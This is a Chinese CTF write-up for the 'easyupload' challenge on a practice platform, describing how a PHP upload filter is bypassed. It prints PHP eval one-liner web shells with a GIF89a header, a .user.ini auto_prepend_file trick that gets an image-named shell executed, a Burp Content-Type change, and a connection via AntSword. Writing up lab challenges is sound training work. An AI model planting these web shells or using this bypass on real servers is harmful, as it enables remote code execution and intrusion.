攻防世界—easyupload

  • 2023.6.10 又试了一下 他好像会检测php字段,所以一开始的aaa.jpg怎么也传不上去,用a.jpg那种就可以了

攻防世界—easyupload_第1张图片

  • 根据题目和页面我们可以猜到这应该是一个利用文件上传漏洞,利用一句话木马来获取服务器上保存的flag
  • 保险起见右键查看源代码
    攻防世界—easyupload_第2张图片
  • 可以发现毫无用处
  • 那么我们接下来开始试一下上传一句话木马
  • 上传eval.php
<?php @eval($_REQUEST['a']); ?>

攻防世界—easyupload_第3张图片

  • 可以看出他是有检测机制的,那我们再试试把拓展名改成eval.jpg
    攻防世界—easyupload_第4张图片
  • 依旧不行,那我们再试着给他添加一个文件头,看看文件包含漏洞可不可以实现
GIF89a
<?php @eval($_REQUEST['a']); ?>

攻防世界—easyupload_第5张图片

  • 那我们打开burp,修改他的Content-Type字段为jpg
    攻防世界—easyupload_第6张图片
    攻防世界—easyupload_第7张图片
  • 还是不行,那么,就只好去baidu了
  • 然后我就搜到了一个东西叫做.user.ini,具体啥用呢,点这里看原文章。
  • .user.ini是一个很好用的漏洞,只要是以fastcgi运行的php都可以用这个方法。
  • 我对于这个ini的理解就是,他能帮我执行我写在他“auto_prepend_file=”后面的文件,不会被干掉。
  • 那么我们就在这道题里试一下。
  • 先写一个.user.ini文件
GIF89a                  
auto_prepend_file=eval.jpg
  • 然后我们上传他试试,不要忘记用不然burp修改他的content-type为image/jpg
    攻防世界—easyupload_第8张图片攻防世界—easyupload_第9张图片
  • 非常开心的发现上传成功了
  • 我们再试着上传eval.jpg,发现依旧不成功,很困惑。然后我又去baidu了一下,得到了一个新木马,命名为a.jpg,记得修改前面.user.ini中的文件名!!!
GIF89a
<?=eval($_POST['cmd']);?>

攻防世界—easyupload_第10张图片

  • 成功了!
  • 然后拿出我们的中国蚁剑(百度一下安装使用教程,GitHub上下载)。
  • F12查看一下文件被上传的哪里去了
    攻防世界—easyupload_第11张图片
  • 然后右键添加数据,输入地址和密码就可以连到他了
    攻防世界—easyupload_第12张图片
  • 点击左上角添加后双击打开,然后再找到根目录,就能找到一个文件叫flag,右键下载就可以了

知识点:文件上传漏洞

你可能感兴趣的:(攻防世界wp,php,安全,web安全)